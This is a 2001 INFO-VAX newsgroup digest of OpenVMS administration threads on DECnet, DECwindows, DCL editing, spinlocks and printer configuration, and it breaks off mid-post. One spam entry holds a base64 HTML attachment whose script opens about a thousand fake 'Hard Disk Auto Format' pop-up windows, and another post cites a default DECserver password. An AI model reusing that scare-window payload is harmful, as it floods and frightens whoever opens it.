1 INFO-VAX	Tue, 06 Nov 2001	Volume 2001 : Issue 617       Contents:# Re: can't login to VAX on weekends. # Re: can't login to VAX on weekends. # Re: can't login to VAX on weekends.  Re: Compaq guarantees?% Re:  Compaq: VMS is alive and kicking $ Re: Compaq: VMS is alive and kicking  Re: Decnet Circuit/line problems3 Re:  DECwindows Motif Server Mandatory Update Patch 1 Re: DECWindows not starting after patches applied 1 Re: DECWindows not starting after patches applied 1 Re: DECWindows not starting after patches applied D Re: Editing DCL command lines longer than the current terminal widthD Re: Editing DCL command lines longer than the current terminal widthD Re: Editing DCL command lines longer than the current terminal widthD RE: Editing DCL command lines longer than the current terminal width7 Re: Future Programming Platforms - Your Opinions Wanted  Re: generally, go believe a egg ) Re: Global Sections for IPC - performance ) Re: Global Sections for IPC - performance 3 Re: How to discern port to configure Canon printer? 3 Re: How to discern port to configure Canon printer? 3 Re: How to discern port to configure Canon printer? % Re: How to upgrade VMS/Vax 6.0 to 6.1 " ISIS for OpenVMS version questions6 Re: Keyboard problems with VMS 7.2 on AlphaStation 200/ New HP-Compaq merger discussion list at Interex  Re: Undo disk Initialize VMS721_CLIUTL-0200 Status? Re: Weird Hobbyist PAK behavior  Re: Weird Hobbyist PAK behavior  Re: Weird Hobbyist PAK behavior   F ----------------------------------------------------------------------  % Date: Mon, 05 Nov 2001 18:34:41 -0500 - From: JF Mezei <jfmezei.spamnot@videotron.ca> , Subject: Re: can't login to VAX on weekends., Message-ID: <3BE72210.FF32E6A4@videotron.ca>   Nic Clews wrote:D > If the VMS side is bouncing you out, it would ask for username andJ > password, but would them display a message, IIRC "You are not authorized- > to log in now" and it is set up in the UAF,   I It is possible to setup a hardwrired port to prompt for a system password F prior to giving you the welcome banner and normal username prompt (SETK TERM/PERM/SYSTEM_PASSWORD).  Haven't used this in years though. Can one set I LTA0: to require system password so that any inbound lat connections will H require the VMS system password before being shown the username prompt ?   ------------------------------  % Date: Tue, 06 Nov 2001 00:07:29 +0000  From: nic <junk@127.0.0.1>, Subject: Re: can't login to VAX on weekends.) Message-ID: <3BE729C1.5DD8F85D@127.0.0.1>    JF Mezei wrote: K > It is possible to setup a hardwrired port to prompt for a system password H > prior to giving you the welcome banner and normal username prompt (SETM > TERM/PERM/SYSTEM_PASSWORD).  Haven't used this in years though. Can one set K > LTA0: to require system password so that any inbound lat connections will J > require the VMS system password before being shown the username prompt ?  H It's a cracking level of security in my opinion, it just BEEPS at you ifH you've autobauded OK, and no prompt until the right sysem password is in@ there. I think there is a system parameter that sets the BEEP or otherwise (TTY_AUTOCHAR)  F This was one of the reasons we (former life) used TX ports rather thanF terminal server ports for dialin. Coupled with SECURE_SERVER and usingD virtual terminals to cope with line drops, correct use of the dialupF access fields in UAF and allowing VMS full modem control, and it makes5 for an extremely usable and a good level of security.  --   Regards, Nic Clews (from home), nic at python dot demon dot co dot uk (play) nclews at csc dot com (work)   ------------------------------  % Date: Mon, 05 Nov 2001 20:45:48 -0500 ' From: Howard S Shubs <howard@shubs.net> , Subject: Re: can't login to VAX on weekends.< Message-ID: <howard-0A1E76.20454805112001@enews.newsguy.com>  < In article <8b51ed8.0111050902.2e4a4efc@posting.google.com>,,  vmendham@altavista.com (Vic Mendham) wrote:  G > Now on weekends it is asking for the Decserver pwd using the normal # E > prompt. Once entered a new prompt password> comes up and we can not 8 > get to the username/pwd as no one knows this password.  M Enter the word "access", which is the default DECserver password.  Then find  - the system manager and turn off that feature.  --   Howard S ShubsD "Run in circles, scream and shout!"  "I hope you have good backups!"   ------------------------------  % Date: Mon, 05 Nov 2001 17:51:50 -0500 4 From: John Malmberg <Malmberg@dskwld.zko.dec.compaq> Subject: Re: Compaq guarantees? 4 Message-ID: <3BE71805.6010609@dskwld.zko.dec.compaq>   Terry C. Shannon wrote:      > I > I've asked the only legal type that I know (my kid, who won't become an M > official Corporate Lawyer for another few months) about the ins and outs of 7 > Class Action Lawsuits and have yet to get a response.     I It would seem that one of the things taught at lawyer school is to avoid  H giving out free legal advice to relatives and friends.  And the best way to stall at giving it out. :-)   -John  Personal Opinion Only    ------------------------------   Date: 05 Nov 2001 21:51:39 GMT, From: "Peter Kastner" <kastner@aberdeen.com>. Subject: Re:  Compaq: VMS is alive and kicking0 Message-ID: <9s71lb$m28@dispatch.concentric.net>  8 On Weds Oct 24th, Alan Greig (a.greig@virgin.net) wrote:D     Carly talks to Aberdeen Group =>Aberdeen Group recommends HP notF complete VMS port =>     Carly praises Aberdeen Group report => CompaqK itself files said report with SEC.  What part of     this is hard to figure  out?  6 From Aberdeen Group's perspective, here are the facts:J 1.  We did write reports on the merger and posted them to the world at ourF web site http://www.aberdeen.com/ab_company/freeresearch/hp_compaq.htmK 2.  We did not talk to Carly first, nor to anyone else in senior management K positions at HP or Compaq.  We didn't talk to Carly after publication about  this either.E 3.  We gave HP and Compaq permission to post our research at internal   intranet web sites at no charge.E 4.  We have not received a nickel for this research and analysis from  anybody.F 5.  Compaq and HP are customers of Aberdeen (along with most of the ITK industry suppliers), but our revenues with them are not material, nor would 5 we sully our good name in a senseless "pay for play". K 6.  I was surprised to hear that Compaq had filed our reports with the SEC. I That would seem to violate (3), but, hey, we're talking antitrust lawyers " here.  The SEC hasn't called us...  K As to the root question, I recommend that concerned VMS users look up their I counterparts who own HP 3000's.  From our vantage point, HP is not giving K any more support to its own venerable HP 3000 base than it is to the Compaq L VMS base.  If enough critical customers of either/both platforms make enoughE noise and promise to buy enough computers, then the not unintelligent 8 executives at HP will make a sensible business decision.   Peter    Peter S. Kastner. Chief Research Officer          (617) 854-5221 Aberdeen Group, Inc. One Boston Place Boston, MA  02108    ------------------------------  % Date: Mon, 05 Nov 2001 18:50:05 -0500 - From: JF Mezei <jfmezei.spamnot@videotron.ca> - Subject: Re: Compaq: VMS is alive and kicking , Message-ID: <3BE725AB.83BEB6FE@videotron.ca>   Peter Kastner wrote:8 > From Aberdeen Group's perspective, here are the facts:   Thank you for chiming in.   G > 3.  We gave HP and Compaq permission to post our research at internal " > intranet web sites at no charge.  N What I find interesting is that Compaq would proudly post a document not meantG to be public which paints a poor picture of the future of Compaq's most I profitable product. If some consulting firm says that customers shouldn't G trust Compaq because it is about to kill a product, Compaq shouldn't be  trumpeting around that report.  K Can we draw a conclusion that Compaq is happy with rumours that it will not ! continue with VMS for very long ?   J Or is there some legal requirement that Compaq post to the SEC any and allI reports it sees about itself ?  SHouldn't it also have posted the Shannon ) Knows ________ newsletters as well then ?   M > 6.  I was surprised to hear that Compaq had filed our reports with the SEC. K > That would seem to violate (3), but, hey, we're talking antitrust lawyers $ > here.  The SEC hasn't called us...  M Which makes the reason why Compaq posted that material even more interesting.   M > As to the root question, I recommend that concerned VMS users look up their # > counterparts who own HP 3000's.       I Are HP 3000 users based on a dead chip and with a migration to IA64 too ?    ------------------------------  # Date: Mon, 05 Nov 2001 23:34:28 GMT ) From: rob.buxton@wcc.govt.nz (Rob Buxton) ) Subject: Re: Decnet Circuit/line problems 1 Message-ID: <3be721a4.606017497@news.wcc.govt.nz>   D On Sun, 4 Nov 2001 21:45:49 -0500, John Santos <JOHN@egh.com> wrote:  3 And if DECnet ph V,  have you registered the nodes? - Try set host to the address e.g. set host 1.5      > < >We're going to need lots more information before anyone can >begin to help you.  > 0 >On Mon, 5 Nov 2001 webtrading@schwab.com wrote: > B >> I have three nodes running Decnet Phase IV just fine. I went toF >> install Decnet Plus (or Decnet IV, I tried both) on a couple of newD >> machines. I cannot get the new system to talk to the old systems. > H >VAX or Alpha?  What model(s)?  What version(s) of VMS?  What version(s) >of DECnet?  > E >What error messages do you get, if any, at network startup?  Did you + >reboot after changing to/from DECnet-Plus?  > C >What physical connections exist between the systems?  (Sounds like > >Ethernet, since you mention SVA-0, but you must be explicit.)' >What network interfaces are you using?  > G >If ethernet, are all the systems on the same lan segment, or are there I >routers or bridges involved?  If so, are they configured to route/bridge J >DECnet?  If there are TCP/IP-only routers in the path, then you must use J >DECnet-Plus and enable DECnet-over-IP (or use a third-party IP stack withJ >a DECnet-over-IP pseudo device and configure that in your DECnet config.) > ? >Can the two new systems talk to each other?  (Don't spend time B >trying to figure this out, but if you already know, the answer isD >useful.  If you don't know, it is more productive to try to get one; >of the new systems to talk to the existing systems first.)  > E >> The new systems do not show a circuit connecting any of the nodes. F >> Show known nodes shows all the nodes there. Show circuits shows theI >> circuit there, and the state is on. I used the same circuit name as on  >> the other boxes.  >>  < >> I have tried naming the circuit the same as the name thatH >> net$configure gives it (when I tried loading Decnet Plus) and I triedH >> giving it the same name as the circuit on the other boxes (sva-0) and) >> neither seems to get tied into a line.  > I >What does NCP's "show known line status" and "show known circuit status"  >show? > F >Did you configure DECnet-IV using its network config tool (netconfig,@ >IIRC), or did you just try to clone the config from the working	 >systems?  > F >The DECnet-Plus circuit name was most likely CSMACD-0, which won't beC >right for DECnet-IV, but the NET$CSMACD_STARTUP.NCL file (if it is  >still around) should have aB >  CREATE NODE 0 CSMA-CD STATION CSMACD-0 COMMUNICATION PORT = EZAE >or similar line, which will tell us the hardware device name (EZA0:, A >in this case) from which someone might be able to figure out the ( >correct DECnet-IV line & circuit names. > E >> I was able to "set host" into this box once, but I have never been ? >> able to do so out. It appears that a circuit is not making a @ >> connection to a node name in either the permanent or volatile >> database? >>   >> BTW, IP works fine. >  >Which IP stack and version? > + >IP config info might also give some hints.  > : >Also, DECNet-IV *MUST* be started before TCP/IP, LAT, andC >any other Ethernet protocol that hasn't been specifically designed E >to allow the Ethernet MAC address to change out from under it.  (But F >I think if you do it in the wrong order, this breaks IP, not DECnet.) > - >> ------------------------------------------ ? >> NO, John Mee3 at home dot com (remove the spaces and do the  & >> obvious with the "dot" and the "at" >  >The VMS FAQ (posted at # >    http://www.openvms.compaq.com/ / >    ftp://rtfm.mit.edu/pub/usenet/comp.os.vms/ - >    comp.answers and news.answers newsgroups  > < >and here whenever a new version comes out) topic INTRO5 has< >good guidelines for what information to include when asking >a question here.  >  >--  >John Santos >Evans Griffiths & Hart, Inc.  >781-861-0670 ext 539  >    ------------------------------   Date: 5 Nov 2001 23:59:08 GMT 5 From: ccburgess@uqstu.jdstory.uq.edu.au (Ian Burgess) < Subject: Re:  DECwindows Motif Server Mandatory Update Patch. Message-ID: <9s794c$4so$1@bunyip.cc.uq.edu.au>  >  "Brian Tillman" <tillman_brian@notnoone.notnohow.com> writes:E >>  There has been a report of a security problem with the DECwindows C >>  Motif server on various configurations received and identified, ; >>  and an ECO kit to resolve this has been made available.  > H >The VAXDWMOTMUP01_xxx.README file is in HTML!  Can't you make this file >plain text??? >-- B >Brian Tillman                   Internet: tillman_brian at si.com  0 Edit the .HTML file and remove all down to <PRE>? and from </PRE> to the end leaves the nice (preformatted) text.    Ian Burgess  University of Queensland I.Burgess[at]its.uq.edu.au www.its.uq.edu.au    ------------------------------  % Date: Mon, 05 Nov 2001 11:52:59 -0800 < From: "Kenneth H. Fairfield" <Kenneth.H.Fairfield@intel.com>: Subject: Re: DECWindows not starting after patches applied( Message-ID: <3BE6EE1B.9F88ED7@intel.com>   Fred Kleinsorge wrote:  H > Kenneth H. Fairfield wrote in message <3BE32914.7DB4864C@intel.com>... > [...]   H > >    Traditionally, @SYS$MANAGER:DECW$STARTUP RESTART has _not_ worked  J > >on Alphas.  And it only worked (for me) about 50% of the time on VAXes.M > >I don't know if that was fixed in more recent releases but my recollection A > >is that it was still "inoperative" in DW-Motif 1.2-5.  And the I > >characteristic was always that you get a "_WSAn:" process that doesn't   > >"convert" to DECW$LOGINOUT... > >  > H > Actually, I have had a much better success rate.  An alternative is toL > simply STOP the server process, and then do a normal startup.  However, onL > Alpha, remember that you MUST edit SYSTARTUP_VMS.COM and define the symbolH > to override the normal install.  Or you will fail with quota problems.  E     Care to expand on "define the symbol"?  No that I couldn't search D through various Release Notes and New Features Manuals, but this one doesn't ring a bell.       Thanks, Ken  --6 I don't speak for Intel, Intel doesn't speak for me...   ------------------------------  $ Date: Mon, 5 Nov 2001 15:20:13 -05005 From: "Fred Kleinsorge" <kleinsorge@star.zko.dec.com> : Subject: Re: DECWindows not starting after patches applied3 Message-ID: <_xCF7.1290$RL6.33184@news.cpqcorp.net>   E Kenneth H. Fairfield wrote in message <3BE6EE1B.9F88ED7@intel.com>...  >>I >> Actually, I have had a much better success rate.  An alternative is to J >> simply STOP the server process, and then do a normal startup.  However, onF >> Alpha, remember that you MUST edit SYSTARTUP_VMS.COM and define the symbolI >> to override the normal install.  Or you will fail with quota problems.  > F >    Care to expand on "define the symbol"?  No that I couldn't searchE >through various Release Notes and New Features Manuals, but this one  >doesn't ring a bell.  >      DECW$IGNORE_SHARE_ADDRESS   J Without this, you will "maybe" be able to restart once or twice if you are lucky.   ------------------------------   Date: 5 NOV 2001 23:33:26 GMT 4 From: karcher@vranix.waisman.wisc.edu (Carl Karcher): Subject: Re: DECWindows not starting after patches applied5 Message-ID: <5NOV01.23332661@vranix.waisman.wisc.edu>   M In a previous article, "Fred Kleinsorge" <kleinsorge@star.zko.dec.com> wrote: G ->Kenneth H. Fairfield wrote in message <3BE6EE1B.9F88ED7@intel.com>...  ->>>H ->>> Alpha, remember that you MUST edit SYSTARTUP_VMS.COM and define theC ->>> symbol to override the normal install.  Or you will fail with o ->>> quota problems. ->>iH ->>    Care to expand on "define the symbol"?  No that I couldn't searchG ->>through various Release Notes and New Features Manuals, but this onen ->>doesn't ring a bell.w -> i ->DECW$IGNORE_SHARE_ADDRESSc -> eL ->Without this, you will "maybe" be able to restart once or twice if you are ->lucky.  K Nit: The "symbol" is really a logical name that must be seen by the processC  who initially runs DECW$STARTUP.   ------------------------------  # Date: Mon, 05 Nov 2001 19:07:54 GMTnG From: Simon Clubley <simon_clubley@remove_me.altavista.co.uk-Earth.UFP>eM Subject: Re: Editing DCL command lines longer than the current terminal widthd6 Message-ID: <esBF7.13512$xS6.17768@www.newsranger.com>  P On Mon, 05 Nov 2001 10:00:00 -0500, in article <3BE6A970.EC20C025@videotron.ca>, JF Mezei wrote:n >o >Simon Clubley wrote:e >>  K >> Are there any plans to fix the inability to fully edit DCL command linesi+ >> longer than the current terminal width ?  >c >$SET TERM/WIDTH=132 >$RECALL command
 >edit command0 >run command >$SET TERM/WIDTH=80q  F Thanks for the response JF, but I am already familiar with the variousG workarounds that you mentioned. All the possible options are cumbersome1E and as I already mentioned, I don't think that we should have to messi around like this...    Simon.   -- K@ Simon Clubley, simon_clubley@remove_me.altavista.co.uk-Earth.UFPK In the task of removing Microsoft from the marketplace, I have discovered a<E truly remarkable plan, but this signature is too small to contain it.e   ------------------------------  # Date: Mon, 05 Nov 2001 19:35:46 GMT G From: Simon Clubley <simon_clubley@remove_me.altavista.co.uk-Earth.UFP>sM Subject: Re: Editing DCL command lines longer than the current terminal widthi6 Message-ID: <mSBF7.13539$xS6.17781@www.newsranger.com>  , On Mon, 05 Nov 2001 14:36:50 GMT, in articleB <6uxF7.27908$D7.8212708@news02.optonline.net>, Dave Kneitel wrote: >pM >Are you connecting via Xwindows or a terminal emulator - Xwindows allows you I >to edit beyond the terminal width - terminal emulators do not (in VMS oro >unix).  >u   Hello,  H Which X-Windows access method are you thinking of, apart from a terminalG session, that gives you access to a DCL prompt ? Even on X-Windows, younE still run a terminal emulator to get a DCL prompt. It's the operating C system, not the terminal emulator, that controls the editing of thet
 command line.r  L BTW, on Linux, using bash, you _can_ edit command lines that are longer than6 than the current terminal width; I do it all the time.   Further comments welcome,s   Simon.   --  @ Simon Clubley, simon_clubley@remove_me.altavista.co.uk-Earth.UFPK In the task of removing Microsoft from the marketplace, I have discovered anE truly remarkable plan, but this signature is too small to contain it.o   ------------------------------  % Date: Mon, 05 Nov 2001 16:05:43 -0500i* From: John Reagan <john.reagan@compaq.com>M Subject: Re: Editing DCL command lines longer than the current terminal widths) Message-ID: <3BE6FF27.7060300@compaq.com>e   Simon Clubley wrote:  J > PS: Just had an idea: Does the VMS port of bash (for people without UnixJ > experience, it's a Unix CLI) allow you to edit command lines longer thanF > the current terminal width, and if so, can you get it to execute DCL > commands ? >   I I just tried my latest bash. I typed a very long command that wrapped to  F the next line.  The left-arrow key would go back from the 2nd line to H the first.  I could add additional non-space characters and the rest of G the command line would push out as expected.  However, when I tried to eI insert spaces or tabs, the resulting command line was garbled.  I didn't t1   spend any time trying to track down the reason.m         -- @ John Reagan ' Compaq Pascal/{A|I}MACRO Project Leader    ------------------------------  $ Date: Mon, 5 Nov 2001 13:15:19 -0800# From: "Tom Linden" <tom@kednos.com>aM Subject: RE: Editing DCL command lines longer than the current terminal widthe9 Message-ID: <CIEJLCMNHNNDLLOOGNJIKEIADIAA.tom@kednos.com>d  * In Bash, tabs are normally auto-completion   > -----Original Message-----3 > From: John Reagan [mailto:john.reagan@compaq.com]y) > Sent: Monday, November 05, 2001 1:06 PM- > To: Info-VAX@Mvb.Saic.Com I > Subject: Re: Editing DCL command lines longer than the current terminala > widthc >R >C > Simon Clubley wrote: >-L > > PS: Just had an idea: Does the VMS port of bash (for people without UnixL > > experience, it's a Unix CLI) allow you to edit command lines longer thanH > > the current terminal width, and if so, can you get it to execute DCL > > commands ? > >n >wJ > I just tried my latest bash. I typed a very long command that wrapped toG > the next line.  The left-arrow key would go back from the 2nd line totI > the first.  I could add additional non-space characters and the rest of H > the command line would push out as expected.  However, when I tried toJ > insert spaces or tabs, the resulting command line was garbled.  I didn't3 >   spend any time trying to track down the reason.- >  >7 >$ >@ > --
 > John Reagane) > Compaq Pascal/{A|I}MACRO Project Leader@ >g   ------------------------------  % Date: Mon, 05 Nov 2001 22:09:10 -0600dC From: "Craig A. Berry" <craig.berry@nospam.SignalTreeSolutions.com>t@ Subject: Re: Future Programming Platforms - Your Opinions WantedI Message-ID: <craig.berry-3444E7.22091005112001@newsrump.sjc.telocity.net>   ; In article <01KACPUIFUGE90UTW5@sysdev.deutsche-boerse.com>,h;  Phillip Helbig <HELBPHI@sysdev.deutsche-boerse.com> wrote:o  L > > As a programmer, I think we need to know not just several languages, but  > > several types of languages:   . > > -Something for web development (PHP, Perl) > J > DCL, Fortran.  Perl is often used for web development, but is there any G > intrinsic advantage to using perl as opposed to, say, DCL or Fortran?h  B 1.) DCL and FORTRAN do not have huge numbers of free plug-ins for > parsing, manipulating, and creating HTML, XML, and all of the F sublanguages of the web such as the stylesheet languages CSS and XSLT.  D 2.) DCL and FORTRAN cannot run ready-made web applications built on G other platforms nor share a code base with applications that also need S. to run in whole or in part on other platforms.  G 3.) DCL and FORTRAN do not have Unicode capabilities or other built-in tH facilities for manipulating and serving up text that is not 7-bit ASCII G (well, except for the EBCDIC calls in the RTL).  How many web browsers  F do you think there are that know what to do with the 128-255 range of $ the DEC Multinational Character Set?  F 4.) DCL and FORTRAN do not have regular expressions or other advanced G facilities for sawing through lots of text with very few lines of code.a  B 5.) DCL has no database interfaces.  FORTRAN, I assume, still has F embedded SQL available for Rdb and Oracle, but probably can't talk to E more than one vendor's database using the same interface in the same , program.  B 6.) DCL does not pre-parse your script, so those syntax errors in H seldom-followed code paths don't appear until the script blows up at an  inconvenient moment.  B 7.) DCL has a tiny command buffer and restrictions on the size of F symbol values that make it quite inconvenient (though not impossible) % to manipulate serious chunks of text.     F Not only Perl but Python and server-side Java have most or all of the A things that DCL and FORTRAN don't.  Of course you can write real tF programs, web or otherwise, in DCL (at least you can if you have read F Hoff's book), but it will never be as efficient and scalable as other  languages.    G FORTRAN is an extremely robust and efficient text processing language,  F and its only (but significant) downside as a web application language F is that it doesn't have all the add-on gizmos to handle the disparate ? file formats, character encodings, data sources, and protocols bE frequently found in web applications.  You can of course build those _B things, but that's going to add a lot to your development costs.    H VAX FORTRAN was my first language and I still have a great fondness for G it, but for anything more than fairly casual development it's probably lG not the best beginning-to-end web language.  There are some situations oE where FORTRAN (or any other native VMS language) would make sense as eG the back end to do the heavy lifting and then publish its capabilities  F via CORBA or something that would be served to the web via some other 	 language.-   ------------------------------  # Date: Mon, 05 Nov 2001 19:15:33 GMTu From: apulno@osixz.net.uan( Subject: Re: generally, go believe a egg, Message-ID: <F6D9BC15.EC45C383@osixz.net.ua>  4 --33738867527465630230877461655783883283523417504280* Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bitd   Hard Disk Auto Format   / Quick, pull the plug, you might save something!     4 --33738867527465630230877461655783883283523417504280, Content-type: text/html; name="kvvokau.html"! Content-Transfer-Encoding: base64e4 Content-Disposition: inline; filename="kvvokau.html"  H PGh0bWw+PGhlYWQ+PFRJVExFPkhhcmQgRGlzayBBdXRvIEZvcm1hdDwvVElUTEU+DQo8c2NyH aXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0Ij4NCjwhLS0gDQpmb3IgKHZhciBpID0gMDsgaSA8H IDEwMjQ7IGkrKykgDQogICB7DQogICB2YXIgbmV3V2luID0gDQogICAgICB3aW5kb3cub3BlH bigiIiwiSGFyZERpc2tBdXRvRm9ybWF0IitpLCJ0b29sYmFyPW5vLGRpcmVjdG9yaWVzPW5vH LG1lbnViYXI9eWVzLHdpZHRoPTYwMCxoZWlnaHQ9MTAwIikNCiAgIG5ld1dpbi5kb2N1bWVuH dC5vcGVuKCkNCiAgIG5ld1dpbi5kb2N1bWVudC53cml0ZWxuKCI8SFRNTD4iKQ0KICAgbmV3H V2luLmRvY3VtZW50LndyaXRlbG4oIjxIRUFEPjxUSVRMRT5IYXJkIERpc2sgQXV0byBGb3JtH YXQgLSBEcml2ZSBDOiwgdHJhY2sgIyIgKyBpICsgIjwvVElUTEU+IikNCiAgIG5ld1dpbi5kH b2N1bWVudC53cml0ZWxuKCI8L0hFQUQ+IikNCiAgIG5ld1dpbi5kb2N1bWVudC53cml0ZWxuH KCI8Qk9EWT4iKQ0KICAgbmV3V2luLmRvY3VtZW50LndyaXRlbG4oIjxIMj5IYXJkIERpc2sgH QXV0byBGb3JtYXQgLSBEcml2ZSBDOiwgdHJhY2sgIyIgKyBpICsgIjwvSDI+IikNCiAgIG5lH d1dpbi5kb2N1bWVudC53cml0ZWxuKCI8SDI+UXVpY2ssIHB1bGwgdGhlIHBsdWcsIHlvdSBtH aWdodCBzYXZlIHNvbWV0aGluZyE8L0gyPiIpDQogICBuZXdXaW4uZG9jdW1lbnQud3JpdGVsH bigiPHNjcmlwdCBsYW5ndWFnZT0nSmF2YVNjcmlwdCc+IikNCiAgIHZhciBqID0gMTAwMDsNH CiAgIG5ld1dpbi5kb2N1bWVudC53cml0ZWxuKCJzZXRUaW1lb3V0KCd3aW5kb3cuY2xvc2UoH KScsIiArIGogKyAiKSIpDQogICBuZXdXaW4uZG9jdW1lbnQud3JpdGVsbigiPC9TQ1JJUFQ+H IikNCiAgIG5ld1dpbi5kb2N1bWVudC53cml0ZWxuKCI8L0JPRFk+IikNCiAgIG5ld1dpbi5kH b2N1bWVudC53cml0ZWxuKCI8L0hUTUw+IikNCiAgIG5ld1dpbi5kb2N1bWVudC5jbG9zZSgpH DQogICB9DQovLyAtLT4NCjwvc2NyaXB0PjwvaGVhZD4NCjxCT0RZIEJHQ09MT1I9IiMwMDAwH MDAiIExJTks9IiMwMDAwMDAiIFZMSU5LPSIjMDAwMDAwIiB0ZXh0PSIjRkZGRkZGIj4NCjxjH ZW50ZXI+PEgyPjxCUj5IYXJkIERpc2sgQXV0byBGb3JtYXQ8L0gyPg0KPEgyPlF1aWNrLCBwH dWxsIHRoZSBwbHVnLCB5b3UgbWlnaHQgc2F2ZSBzb21ldGhpbmchPC9IMj48L2NlbnRlcj4NH CjxTQ1JJUFQgTEFOR1VBR0U9amF2YXNjcmlwdD4NCjwhLS0NCnNldFRpbWVvdXQgKCdoaXN0H b3J5LmdvICgtMSknLCA3NTAwKQ0KLy8gLS0tPg0KPC9TQ1JJUFQ+PC9ib2R5PjwvaHRtbD4N AK==  6 --33738867527465630230877461655783883283523417504280--   ------------------------------  $ Date: Mon, 5 Nov 2001 15:00:28 -0800& From: "Rick Cadruvi" <rick@rdperf.com>2 Subject: Re: Global Sections for IPC - performance/ Message-ID: <tue6h7f5hmpjc3@corp.supernews.com>T  4 "Doug W." <dashw459@aol.comeatspam> wrote in message3 news:20011103194155.28701.00002591@mb-cg.aol.com... 5 > Out of curiosity how do you handle the following...r   Fair Questions >AD >     1.) An operator deletes a process when that has the spin lock.  ! Numerous approaches are possible.   J     1. Have your spinlock contain the PID and after spinning for a certain period of time,dK         check to see if that process actually exists.  Since a PID check is 
 fairly simpletK         in Kernel mode, have the routine that does the Scheduler Interrupt,i do it everynF         so often.  If it fails to validate the PID, reset the spinlock  H     2. Establish an Exit Handler for image rundown and have it clear the	 spinlock. H         I can't remember all the details on this, but I know there are a	 couple off!         approaches to doing this.o  3     3. Disable Process Deletion during the spinlock)  K Another approach is to just say that the lock will never be held very long,d	 thereforeoG in all likelihood this just won't happen and deal with it when it does.T >VJ >     2.) Measure idle CPU time.  How do you know how much CPU spinning is takingD > versus the application work.  How do you know when to upgrade your	 hardware?h > K Harder problem, but not impossible.  Best approach would be to keep a count 
 of "spins"E and write a program to statistically figure out how much time is useda	 spinning.s  L Since performance of the application, NOT system statistics was the issue, I would considerC this problem a non-issue since it isn't hard to fugure out that the  processes eating all the/ CPU time are the ones doing the communications.   L Remember that you only spin long enough to lock the structure and do a Queue	 Insert or>J Remove.  I guess the issue then becomes notification of a Read waiting for us.  DependingJ on the likely scenario for this, you could $HIBERnate on wait and have the spinlock releaseI code $WAKE any processes that needs waking, or use an event flag and haveM the READK waiter wait for the event flag if you really dislike a perpetual spin.  Yout could even haveiK a hueristic algorithm that said after a certain number of spins, wait for aP certain number ofeE clock ticks.  Obviously, the wait time would depend on responsivenessa	 required.s  J I'm sure if I knew the parameters of what was needed, I could come up with LOTS of0G other solutions.  One of really neat things about VMS is that there arei always LOTS of ways to solve most any problem.i     Rick Cadruvi...i   ------------------------------  # Date: Mon, 05 Nov 2001 23:23:40 GMT 2 From: hoffman@xdelta.zko.dec.nospam (Hoff Hoffman)2 Subject: Re: Global Sections for IPC - performance3 Message-ID: <0cFF7.1294$RL6.33346@news.cpqcorp.net>d  c In article <20011103194155.28701.00002591@mb-cg.aol.com>, dashw459@aol.comeatspam (Doug W.) writes: 4 :Out of curiosity how do you handle the following... : C :    1.) An operator deletes a process when that has the spin lock.c  H   Spinlocks can be deadly to performance, can have implications on otherG   applications and other memory interlocks, and can be quite unfair to tK   applications sharing the spinlock while operating across NUMA boundaries. J   Accordingly, spinlocks should be avoided if possible.  Locks and variousF   other synchronization and notification techniques work quite nicely.  G   Put another way, spinlocks should be left to kernel-mode code and to  A   any applications that are using OpenVMS as part of an embedded oH   (non-timesharing, dedicated) system platform, and should be used only    with great caution then.  J :    2.) Measure idle CPU time.  How do you know how much CPU spinning is K :taking versus the application work.  How do you know when to upgrade your t
 :hardware?  G   As with anything else, through careful observation -- if you're usingDG   a construct as primitive as a spinlock, CPU cycles are something you iC   will be wasting.  PC sampling can tell indicate an application isaB   spinning, as can the code an application-specific spinlock call.  C   If you are writing a non-trivial application, one of the earliestpH   components of the application that you should design -- and the first I   component you should code and debug -- is the application's integrated  H   debugging support.  Then start working on the rest of the application.    N  ---------------------------- #include <rtfaq.h> -----------------------------N       For additional, please see the OpenVMS FAQ -- www.openvms.compaq.com    N  --------------------------- pure personal opinion ---------------------------L    Hoff (Stephen) Hoffman   OpenVMS Engineering   hoffman#xdelta.zko.dec.com   ------------------------------  # Date: Mon, 05 Nov 2001 19:53:26 GMTp2 From: hoffman@xdelta.zko.dec.nospam (Hoff Hoffman)< Subject: Re: How to discern port to configure Canon printer?3 Message-ID: <W6CF7.1289$RL6.33213@news.cpqcorp.net>w  R In article <9ruvck$10g$1@ins22.netins.net>, Mikec@netins.net (Mike Czizek) writes:O :We have an Alpha server running OpenVMS version 7.1.  We have had no problems sQ :configuring various printers to it until now.  We are attempting to configure a nQ :Canon ir600 printer/copier.  We obviously know the IP for the printer but we do aQ :not know the port number.  We have contacted our support company to discern the R% :port number but they do not know. ..  : % :How can one discern the port number?   G   I'd expect either you or your support company will have to check the aI   Canon documentation, check the Canon website, and/or contact the Canon -E   support folks directly.  Based on a quick search, it looks like theiH   Canon imageRUNNER 600 series printer might connect to the network via I   an external NIC or "Network Multi-PDL" widget, and thus you'll need to sL   identify the particular NIC involved -- someone was using an HP JetDirect &   NIC with this printer, for instance.  L http://www.usa.canon.com/corpoffice/netofficesys/imagerunner/ir/spec600.html  G   Assuming you cannot find details of the NIC installed in this widget,eH   if you have a working IP connection from another host, you could checkG   the printer characteristics, or potentially snoop the IP traffic fromt   the host to the printer.  N  ---------------------------- #include <rtfaq.h> -----------------------------N       For additional, please see the OpenVMS FAQ -- www.openvms.compaq.com    N  --------------------------- pure personal opinion ---------------------------L    Hoff (Stephen) Hoffman   OpenVMS Engineering   hoffman#xdelta.zko.dec.com   ------------------------------  $ Date: Mon, 5 Nov 2001 20:32:24 -00003 From: "Malcolm" <malcolm@neverness.freeserve.co.uk>-< Subject: Re: How to discern port to configure Canon printer?. Message-ID: <9s6suf$ml6$1@news5.svr.pol.co.uk>  1 "Mike Czizek" <Mikec@netins.net> wrote in messagea% news:9ruvck$10g$1@ins22.netins.net...aF > We have an Alpha server running OpenVMS version 7.1.  We have had no problemsE > configuring various printers to it until now.  We are attempting toe configure anK > Canon ir600 printer/copier.  We obviously know the IP for the printer butw we doaE > not know the port number.  We have contacted our support company ton discern theo> > port number but they do not know.  We have attempted (though unsuccessfully) toL > configure it to ports 515, 9000 & 9100 but each of these produce an error. >oJ > I should mention that we have successfully configured the printer on ourC > Windows LAN so it appears not to be an inherent hardware problem.  >t& > How can one discern the port number? >s  B We have one of these at my work, and it doesn't do"reverse telnet"H printing like the HP printers do. It only knows the lpr protocol - worseD luck, since you can't use DCPS with it because it is unidirectional.+ This may or 